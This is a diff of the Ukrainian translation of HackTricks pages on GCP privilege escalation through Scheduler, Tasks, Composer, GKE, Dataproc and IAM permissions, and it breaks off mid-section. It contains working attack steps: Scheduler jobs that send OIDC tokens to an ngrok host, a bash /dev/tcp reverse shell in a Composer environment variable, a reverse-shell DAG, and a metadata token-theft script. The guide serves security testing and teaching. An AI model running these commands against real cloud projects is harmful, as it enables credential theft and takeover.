+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md index cefe9b28a..ac18eb17e 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md @@ -4,7 +4,7 @@ ## Cloud Scheduler -Більше інформації в: +More information in: {{#ref}} ../gcp-services/gcp-cloud-scheduler-enum.md @@ -12,33 +12,45 @@ ### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) -Зловмисник з цими дозволами може використовувати **Cloud Scheduler** для **автентифікації cron jobs як конкретного Service Account**. Створюючи HTTP POST запит, зловмисник планує дії, такі як створення Storage bucket, для виконання під ідентичністю Service Account. Цей метод використовує **можливість Scheduler націлюватися на `*.googleapis.com` кінцеві точки та автентифікувати запити**, що дозволяє зловмиснику маніпулювати кінцевими точками Google API безпосередньо за допомогою простого `gcloud` команди. +Зловмисник з такими правами може використати **Cloud Scheduler**, щоб **авторизувати cron-завдання від імені конкретного Service Account**. Сформувавши HTTP POST-запит, зловмисник планує дії, наприклад створення Storage bucket, які виконуватимуться під ідентичністю Service Account. Цей метод використовує **можливість Scheduler спрямовувати запити до `*.googleapis.com` endpoints та автентифікувати запити**, що дозволяє зловмиснику безпосередньо маніпулювати Google API endpoints, використовуючи просту команду `gcloud`. -- **Зв'язатися з будь-яким google API через `googleapis.com` з заголовком OAuth токена** +- **Contact any google API via`googleapis.com` with OAuth token header** -Створити новий Storage bucket: +Create a new Storage bucket: + +
Create Cloud Scheduler job to create GCS bucket via API ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1 ``` -Щоб підвищити привілеї, **зловмисник просто формує HTTP-запит, націлений на потрібний API, видаючи себе за вказаний обліковий запис служби** +Щоб підвищити привілеї, **зловмисник просто формує HTTP-запит, спрямований до потрібного API, видаючи себе за вказаний Service Account** -- **Екстракція токена облікового запису служби OIDC** +- **Exfiltrate OIDC service account token** + +
Створити Cloud Scheduler job для exfiltrate OIDC token ```bash gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` -Якщо вам потрібно перевірити HTTP-відповідь, ви можете просто **переглянути журнали виконання**. +
+ +Якщо потрібно перевірити HTTP-відповідь, можна просто **переглянути логи виконання**. ### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`) -Як і в попередньому сценарії, можливо **оновити вже створений планувальник**, щоб вкрасти токен або виконати дії. Наприклад: +Як і в попередньому сценарії, можливо **оновити вже створений scheduler** щоб вкрасти токен або виконати дії. Наприклад: + +
Оновити існуючу Cloud Scheduler job щоб exfiltrate OIDC token ```bash gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...'] # Listen in the ngrok address to get the OIDC token in clear text. ``` -Ще один приклад завантаження приватного ключа до SA та його імітації: +
+ +Ще один приклад завантаження private key до SA та impersonate його: + +
Upload private key to Service Account via Cloud Scheduler and impersonate it ```bash # Generate local private key openssl req -x509 -nodes -newkey rsa:2048 -days 365 \ @@ -102,6 +114,8 @@ EOF # Activate the generated key gcloud auth activate-service-account --key-file=/tmp/lab.json ``` +
+ ## Посилання - [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md index 253fe0a6b..e354b5ffb 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md @@ -6,7 +6,9 @@ ### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs` -Зловмисник з цими дозволами може **вдаватися до інших облікових записів служби**, створюючи завдання, які виконуються з ідентичністю вказаного облікового запису служби. Це дозволяє надсилати **автентифіковані HTTP-запити до сервісів Cloud Run або Cloud Functions, захищених IAM**. +Атакуючий з цими дозволами може **виконувати дії від імені інших сервісних облікових записів**, створюючи завдання, які виконуються з ідентичністю вказаного сервісного облікового запису. Це дозволяє надсилати **автентифіковані HTTP-запити до сервісів Cloud Run або Cloud Functions, захищених IAM**. + +
Створити Cloud Task з виконанням від імені сервісного облікового запису ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ @@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ``` +
+ ### `cloudtasks.tasks.run`, `cloudtasks.tasks.list` -Зловмисник з цими правами може **виконувати існуючі заплановані завдання** без наявності прав на обліковий запис служби, пов'язаний із завданням. Це дозволяє виконувати завдання, які були раніше створені з використанням облікових записів служби з вищими привілеями. +Зловмисник із такими дозволами може **запускати існуючі заплановані завдання** без наявності прав на сервісний акаунт, пов'язаний із завданням. Це дозволяє виконувати завдання, які раніше були створені з використанням сервісних акаунтів з вищими привілеями. + +
Запустити існуюче Cloud Task без дозволу actAs ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ``` -Основний, який виконує цю команду, **не потребує дозволу `iam.serviceAccounts.actAs`** на обліковий запис служби завдання. Однак це лише дозволяє виконувати існуючі завдання - це не надає можливості створювати або змінювати завдання. +
+ +Принципал, який виконує цю команду, **не потребує дозволу `iam.serviceAccounts.actAs`** на service account задачі. Однак це лише дозволяє запускати існуючі tasks — не надає можливості створювати або змінювати їх. ### `cloudtasks.queues.setIamPolicy` -Зловмисник з цим дозволом може **надавати собі або іншим основним ролі Cloud Tasks** на конкретних чергах, потенційно підвищуючи привілеї до `roles/cloudtasks.admin`, що включає можливість створювати та виконувати завдання. +Атакуючий із цим дозволом може **надати собі або іншим принципалам ролі Cloud Tasks** на конкретних чергах, потенційно підвищивши привілеї до `roles/cloudtasks.admin`, що включає можливість створювати і запускати tasks. + +
Grant Cloud Tasks admin role on queue ```bash gcloud tasks queues add-iam-policy-binding \ \ @@ -36,10 +46,12 @@ gcloud tasks queues add-iam-policy-binding \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ``` -Це дозволяє зловмиснику надати повні адміністративні права Cloud Tasks на чергу будь-якому обліковому запису служби, яким вони керують. +
+ +Це дозволяє зловмиснику надати повні права адміністратора Cloud Tasks на чергу будь-якому service account, що перебуває під його контролем. ## Посилання -- [Документація Google Cloud Tasks](https://cloud.google.com/tasks/docs) +- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md index 65ee50b4d..b9862348a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md @@ -4,7 +4,7 @@ ## composer -Більше інформації в: +Детальніше: {{#ref}} ../gcp-services/gcp-composer-enum.md @@ -12,18 +12,24 @@ ### `composer.environments.create` -Можливо **прикріпити будь-який обліковий запис служби** до новоствореного середовища композера з цим дозволом. Пізніше ви можете виконати код всередині композера, щоб вкрасти токен облікового запису служби. +Можна за наявності цього дозволу **прикріпити будь-який service account** до щойно створеного Composer environment. Пізніше ви можете виконати код всередині Composer, щоб викрасти service account token. + +
Створити Composer environment з приєднаним service account ```bash gcloud composer environments create privesc-test \ --project "${PROJECT_ID}" \ --location europe-west1 \ --service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" ``` -Більше інформації про експлуатацію [**тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh). +
+ +Більше інформації про експлуатацію [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh). ### `composer.environments.update` -Можливо оновити середовище композера, наприклад, змінюючи змінні середовища: +Можна оновити composer environment, наприклад, змінюючи змінні середовища: + +
Оновити змінні середовища Composer для виконання коду ```bash # Even if it says you don't have enough permissions the update happens gcloud composer environments update \ @@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0 {"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}} ``` -TODO: Отримати RCE, додавши нові пакунки pypi до середовища +
-### Завантажити Dags +TODO: Отримати RCE, додавши нові pypi пакети до середовища -Перевірте вихідний код dags, що виконуються: +### Завантажити DAGs + +Перевірте вихідний код DAGs, що виконуються: + +
Експортувати та завантажити DAGs зі середовища Composer ```bash mkdir /tmp/dags gcloud composer environments storage dags export --environment --location --destination /tmp/dags ``` +
+ ### Імпорт Dags -Додайте код python DAG у файл і імпортуйте його, запустивши: +Додайте python DAG код у файл і імпортуйте його, запустивши: + +
Імпорт шкідливого DAG у середовище Composer ```bash # TODO: Create dag to get a rev shell gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ``` -DAG з реверс-шелом: -```python:reverse_shell.py +
+ +DAG для reverse shell: + +
Код Python DAG для reverse shell +```python import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator @@ -94,11 +112,13 @@ depends_on_past=False, priority_weight=2**31 - 1, do_xcom_push=False) ``` -### Доступ на запис до кошика Composer +
-Всі компоненти середовища composer (DAG, плагіни та дані) зберігаються в кошику GCP. Якщо зловмисник має права на читання та запис, він може моніторити кошик і **коли DAG створюється або оновлюється, подати версію з бекдором**, щоб середовище composer отримало зберігання версію з бекдором. +### Права запису до Composer bucket -Отримайте більше інформації про цю атаку в: +Усі компоненти середовища Composer (DAGs, плагіни та дані) зберігаються в GCP bucket. Якщо нападник має права читання та запису до нього, він може моніторити bucket і **щоразу, коли DAG створюється або оновлюється, підвантажувати backdoored версію**, щоб середовище Composer отримувало зі сховища підмінену версію. + +Детальніше про цю атаку див. у: {{#ref}} gcp-storage-privesc.md @@ -106,10 +126,10 @@ gcp-storage-privesc.md ### Імпорт плагінів -TODO: Перевірте, що можна скомпрометувати, завантажуючи плагіни +TODO: Перевірити, що можна скомпрометувати шляхом завантаження плагінів ### Імпорт даних -TODO: Перевірте, що можна скомпрометувати, завантажуючи дані +TODO: Перевірити, що можна скомпрометувати шляхом завантаження даних {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md index 0554d775f..1afec6e1a 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md @@ -6,16 +6,22 @@ ### `container.clusters.get` -Ця дозволяє **збирати облікові дані для кластера Kubernetes** за допомогою чогось на зразок: +Ця дозвола дозволяє **збирати облікові дані для Kubernetes-кластера**, використовуючи, наприклад: + +
Отримати облікові дані Kubernetes-кластера ```bash gcloud container clusters get-credentials --zone ``` -Без додаткових дозволів облікові дані досить базові, оскільки ви можете **просто перерахувати деякі ресурси**, але вони корисні для виявлення неправильних налаштувань у середовищі. +
+ +Без додаткових дозволів облікові дані досить базові — ви можете **лише перелічувати деякі ресурси**, проте вони корисні для виявлення помилок конфігурації в середовищі. > [!NOTE] -> Зверніть увагу, що **kubernetes кластери можуть бути налаштовані як приватні**, що заборонить доступ до Kube-API сервера з Інтернету. +> Зауважте, що **kubernetes кластери можуть бути налаштовані як приватні**, і це заборонить доступ до Kube-API сервера з Інтернету. -Якщо у вас немає цього дозволу, ви все ще можете отримати доступ до кластера, але вам потрібно **створити свій власний файл конфігурації kubectl** з інформацією про кластери. Новий згенерований виглядає так: +Якщо у вас немає цього дозволу, ви все одно можете отримати доступ до кластера, але потрібно **створити власний файл конфігурації kubectl** з інформацією про кластер. Новостворений файл виглядає так: + +
Приклад файлу конфігурації kubectl для кластера GKE ```yaml apiVersion: v1 clusters: @@ -44,44 +50,46 @@ expiry-key: "{.credential.token_expiry}" token-key: "{.credential.access_token}" name: gcp ``` +
+ ### `container.roles.escalate` | `container.clusterRoles.escalate` -**Kubernetes** за замовчуванням **запобігає** принципалам від можливості **створювати** або **оновлювати** **Roles** та **ClusterRoles** з **більшими правами**, ніж ті, які має принципал. Однак, принципал **GCP** з такими правами зможе **створювати/оновлювати Roles/ClusterRoles з більшими правами**, ніж ті, які він має, ефективно обходячи захист Kubernetes проти цієї поведінки. +**Kubernetes** за замовчуванням **перешкоджає** тому, щоб принципали могли **створювати** або **оновлювати** **Roles** і **ClusterRoles** з **більшою кількістю дозволів**, ніж ті, що має принципал. Однак **GCP** принципал з такими правами зможе **створювати/оновлювати Roles/ClusterRoles з більшою кількістю дозволів**, ніж ті, що він мав, ефективно обходячи захист Kubernetes проти такої поведінки. -**`container.roles.create`** та/або **`container.roles.update`** АБО **`container.clusterRoles.create`** та/або **`container.clusterRoles.update`** відповідно також є **необхідними** для виконання цих дій ескалації привілеїв. +**`container.roles.create`** and/or **`container.roles.update`** OR **`container.clusterRoles.create`** and/or **`container.clusterRoles.update`** відповідно також є **необхідними** для виконання цих дій підвищення привілеїв. ### `container.roles.bind` | `container.clusterRoles.bind` -**Kubernetes** за замовчуванням **запобігає** принципалам від можливості **створювати** або **оновлювати** **RoleBindings** та **ClusterRoleBindings**, щоб надати **більші права**, ніж ті, які має принципал. Однак, принципал **GCP** з такими правами зможе **створювати/оновлювати RolesBindings/ClusterRolesBindings з більшими правами**, ніж ті, які він має, ефективно обходячи захист Kubernetes проти цієї поведінки. +**Kubernetes** за замовчуванням **перешкоджає** тому, щоб принципали могли **створювати** або **оновлювати** **RoleBindings** і **ClusterRoleBindings**, щоб надати **більше дозволів**, ніж ті, що має принципал. Проте **GCP** принципал з такими правами зможе **створювати/оновлювати RolesBindings/ClusterRolesBindings з більшими дозволами**, ніж ті, що він має, ефективно обходячи захист Kubernetes проти такої поведінки. -**`container.roleBindings.create`** та/або **`container.roleBindings.update`** АБО **`container.clusterRoleBindings.create`** та/або **`container.clusterRoleBindings.update`** відповідно також є **необхідними** для виконання цих дій ескалації привілеїв. +**`container.roleBindings.create`** and/or **`container.roleBindings.update`** OR **`container.clusterRoleBindings.create`** and/or **`container.clusterRoleBindings.update`** відповідно також є **необхідними** для виконання цих дій підвищення привілеїв. ### `container.cronJobs.create` | `container.cronJobs.update` | `container.daemonSets.create` | `container.daemonSets.update` | `container.deployments.create` | `container.deployments.update` | `container.jobs.create` | `container.jobs.update` | `container.pods.create` | `container.pods.update` | `container.replicaSets.create` | `container.replicaSets.update` | `container.replicationControllers.create` | `container.replicationControllers.update` | `container.scheduledJobs.create` | `container.scheduledJobs.update` | `container.statefulSets.create` | `container.statefulSets.update` -Усі ці права дозволять вам **створити або оновити ресурс**, де ви можете **визначити** **pod**. Визначаючи pod, ви можете **вказати SA**, який буде **прикріплений**, і **образ**, який буде **запущений**, отже, ви можете запустити образ, який буде **екстрагувати токен SA на ваш сервер**, дозволяючи вам ескалувати до будь-якого облікового запису служби.\ -Для отримання додаткової інформації перевірте: +Усі ці дозволи дозволяють вам **створити або оновити ресурс**, у якому ви можете **визначити** **pod**. Визначивши pod, ви можете **вказати SA**, який буде **приєднаний**, та **image**, який буде **запущено**, отже ви можете запустити image, який буде **exfiltrate the token of the SA to your server**, що дозволяє вам підвищити привілеї до будь-якого service account.\ +Для більш детальної інформації перевірте: -Оскільки ми знаходимося в середовищі GCP, ви також зможете **отримати SA nodepool GCP** з **метаданих** служби та **ескалювати привілеї в GCP** (за замовчуванням використовується SA обчислень). +Оскільки ми знаходимося в GCP середовищі, ви також зможете **get the nodepool GCP SA** з **metadata** service і **escalate privileges in GCP** (за замовчуванням використовується compute SA). ### `container.secrets.get` | `container.secrets.list` -Як [**пояснено на цій сторінці**,](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#listing-secrets) з цими правами ви можете **читати** **токени** всіх **SA Kubernetes**, тому ви можете ескалувати до них. +Як [**пояснено на цій сторінці**, ](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#listing-secrets) з цими дозволами ви можете **читати** **tokens** всіх **SAs Kubernetes**, тож ви можете підвищити привілеї до них. ### `container.pods.exec` -З цим правом ви зможете **виконати команду в pods**, що надає вам **доступ** до всіх **Kubernetes SA, що працюють у pods**, для ескалації привілеїв у K8s, але також ви зможете **вкрасти** **GCP Service Account** з **NodePool**, **ескалюючи привілеї в GCP**. +Маючи цей дозвіл, ви зможете **exec into pods**, що дає вам **доступ** до всіх **Kubernetes SAs**, запущених у pods, для підвищення привілеїв всередині K8s; окрім того, ви зможете **steal** **GCP Service Account** NodePool-а, **escalating privileges in GCP**. ### `container.pods.portForward` -Як **пояснено на цій сторінці**, з цими правами ви можете **доступатися до локальних служб**, що працюють у **pods**, які можуть дозволити вам **ескалювати привілеї в Kubernetes** (і в **GCP**, якщо якимось чином ви зможете зв'язатися з службою метаданих)**.** +Як **пояснено на цій сторінці**, з цими дозволами ви можете **доступатися до локальних сервісів**, що працюють у **pods**, які можуть дозволити вам **escalate privileges in Kubernetes** (і в **GCP**, якщо якимось чином ви зможете звертатися до metadata service)**.** ### `container.serviceAccounts.createToken` -Через **назву** **права**, здається, що воно **дозволить вам генерувати токени K8s Service Accounts**, тому ви зможете **ескалювати привілеї до будь-якого SA** всередині Kubernetes. Однак я не зміг знайти жодну точку API для його використання, тому дайте знати, якщо ви її знайдете. +Через **назву** цього **дозволу** здається, ніби він дозволяє вам генерувати токени K8s Service Accounts, тож ви зможете **privesc to any SA** всередині Kubernetes. Проте я не зміг знайти жодного API endpoint для його використання — повідомте, якщо знайдете. ### `container.mutatingWebhookConfigurations.create` | `container.mutatingWebhookConfigurations.update` -Ці права можуть дозволити вам ескалувати привілеї в Kubernetes, але, швидше за все, ви могли б зловживати ними, щоб **зберігатися в кластері**.\ -Для отримання додаткової інформації [**перейдіть за цим посиланням**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#malicious-admission-controller). +Ці дозволи можуть дозволити вам підвищити привілеї в Kubernetes, але більш ймовірно, що ви зможете зловживати ними, щоб **persist in the cluster**.\ +Для більш детальної інформації [**перейдіть за цим посиланням**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#malicious-admission-controller). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md index 31eba19ad..42ef3646c 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md @@ -1,4 +1,4 @@ -# GCP Dataproc Privilege Escalation +# GCP Dataproc Підвищення привілеїв {{#include ../../../banners/hacktricks-training.md}} @@ -10,17 +10,19 @@ ### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get` -Мені не вдалося отримати зворотний шелл за допомогою цього методу, однак можливо витягти токен SA з кінцевої точки метаданих, використовуючи метод, описаний нижче. +Мені не вдалося отримати reverse shell цим методом, проте за допомогою наведеного нижче підходу можливо leak SA token з metadata endpoint. -#### Кроки для експлуатації +#### Кроки експлуатації -- Розмістіть скрипт завдання в GCP Bucket +- Помістіть job script у GCP Bucket -- Подайте завдання до кластера Dataproc. +- Відправте job до Dataproc cluster. -- Використовуйте завдання для доступу до сервера метаданих. +- Використайте job для доступу до metadata server. -- Витягніть токен облікового запису служби, що використовується кластером. +- Leak service account token, що використовується кластером. + +
Python скрипт для отримання SA token з metadata server ```python import requests @@ -41,7 +43,9 @@ return None if __name__ == "__main__": fetch_metadata_token() ``` +
+
Надіслати шкідливу задачу до кластера Dataproc ```bash # Copy the script to the storage bucket gsutil cp gs:/// @@ -51,4 +55,6 @@ gcloud dataproc jobs submit pyspark gs:/// \ --cluster= \ --region= ``` +
+ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md index 32d560531..9110321fc 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -Знайдіть більше інформації про IAM у: +Додаткову інформацію про IAM див. у: {{#ref}} ../gcp-services/gcp-iam-and-org-policies-enum.md @@ -12,40 +12,54 @@ ### `iam.roles.update` (`iam.roles.get`) -Зловмисник з вказаними дозволами зможе оновити роль, призначену вам, і надати вам додаткові дозволи на інші ресурси, такі як: +Зловмисник з переліченими дозволами зможе оновити роль, призначену вам, і надати вам додаткові дозволи для інших ресурсів, таких як: + +
Оновити роль IAM, щоб додати дозволи ```bash gcloud iam roles update --project --add-permissions ``` -Ви можете знайти скрипт для автоматизації **створення, експлуатації та очищення вразливого середовища тут** і python-скрипт для зловживання цими привілеями [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
+ +Ви можете знайти скрипт для автоматизації **створення, експлуатації та очищення vuln середовища тут** і python скрипт для зловживання цим привілеєм [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Для додаткової інформації див. [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.getAccessToken` (`iam.serviceAccounts.get`) -Зловмисник з вказаними дозволами зможе **запросити токен доступу, що належить обліковому запису служби**, тому можливо запросити токен доступу облікового запису служби з більшими привілеями, ніж у нас. +Атакуючий із зазначеними дозволами зможе **запитати access token, що належить Service Account**, тож можливо запросити access token Service Account з більшими привілеями, ніж у нас. + +
Імперсонувати Service Account, щоб отримати access token ```bash gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \ auth print-access-token ``` -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) та скрипт на python для зловживання цим правом [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
+ +Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/4-iam.serviceAccounts.getAccessToken.sh) та python-скрипт для зловживання цим правом [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getAccessToken.py). Для отримання додаткової інформації перегляньте [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccountKeys.create` -Зловмисник з вказаними правами зможе **створити ключ, керований користувачем, для облікового запису служби**, що дозволить нам отримати доступ до GCP як цей обліковий запис служби. +Зловмисник із зазначеними дозволами зможе **create a user-managed key for a Service Account**, що дозволить нам отримати доступ до GCP від імені цієї Service Account. + +
Створити service account key та автентифікуватися ```bash gcloud iam service-accounts keys create --iam-account /tmp/key.json gcloud auth activate-service-account --key-file=sa_cred.json ``` -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) та python-скрипт для зловживання цим привілеєм [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
-Зверніть увагу, що **`iam.serviceAccountKeys.update` не працюватиме для зміни ключа** SA, оскільки для цього також потрібні дозволи `iam.serviceAccountKeys.create`. +Ви можете знайти скрипт для автоматизації [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/3-iam.serviceAccountKeys.create.sh) та python-скрипт для зловживання цим дозволом [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccountKeys.create.py). Для додаткової інформації див. [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). + +Зверніть увагу, що **`iam.serviceAccountKeys.update` won't work to modify the key** of a SA, бо для цього також потрібні права `iam.serviceAccountKeys.create`. ### `iam.serviceAccounts.implicitDelegation` -Якщо у вас є **`iam.serviceAccounts.implicitDelegation`** дозвіл на обліковий запис служби, який має дозвіл **`iam.serviceAccounts.getAccessToken`** на третьому обліковому записі служби, то ви можете використовувати implicitDelegation для **створення токена для цього третього облікового запису служби**. Ось діаграма, яка допоможе пояснити. +Якщо у вас є дозвіл **`iam.serviceAccounts.implicitDelegation`** на Service Account, який має дозвіл **`iam.serviceAccounts.getAccessToken`** на третій Service Account, то ви можете використати implicitDelegation, щоб **створити токен для тієї третьої Service Account**. Нижче — діаграма для пояснення. ![](https://rhinosecuritylabs.com/wp-content/uploads/2020/04/image2-500x493.png) -Зверніть увагу, що відповідно до [**документації**](https://cloud.google.com/iam/docs/understanding-service-accounts), делегування `gcloud` працює лише для генерації токена за допомогою методу [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Отже, ось як отримати токен, використовуючи API безпосередньо: +Зауважте, що відповідно до [**documentation**](https://cloud.google.com/iam/docs/understanding-service-accounts), делегування через `gcloud` працює лише для генерації токена за допомогою методу [**generateAccessToken()**](https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/generateAccessToken). Отже, нижче показано, як отримати токен безпосередньо через API: + +
Генерація токена доступу через делегування за допомогою API ```bash curl -X POST \ 'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \ @@ -56,23 +70,27 @@ curl -X POST \ "scope": ["https://www.googleapis.com/auth/cloud-platform"] }' ``` -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) та python-скрипт для зловживання цим привілеєм [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). +
+ +Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища тут**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/5-iam.serviceAccounts.implicitDelegation.sh) та python скрипт для зловживання цією привілеєю [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/). ### `iam.serviceAccounts.signBlob` -Зловмисник з вказаними дозволами зможе **підписувати довільні дані в GCP**. Отже, буде можливим **створити непідписаний JWT сервісного облікового запису, а потім надіслати його як блоб, щоб отримати підписаний JWT** від сервісного облікового запису, на який ми націлюємося. Для отримання додаткової інформації [**читайте це**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). +Зловмисник із зазначеними дозволами зможе **підписувати довільні payloads у GCP**. Тому стане можливим **створити непідписаний JWT для SA і потім відправити його як blob, щоб отримати підпис JWT** від цільового SA. Для додаткової інформації [**читайте це**](https://medium.com/google-cloud/using-serviceaccountactor-iam-role-for-account-impersonation-on-google-cloud-platform-a9e7118480ed). -Ви можете знайти скрипт для автоматизації [**створення, експлуатації та очищення вразливого середовища 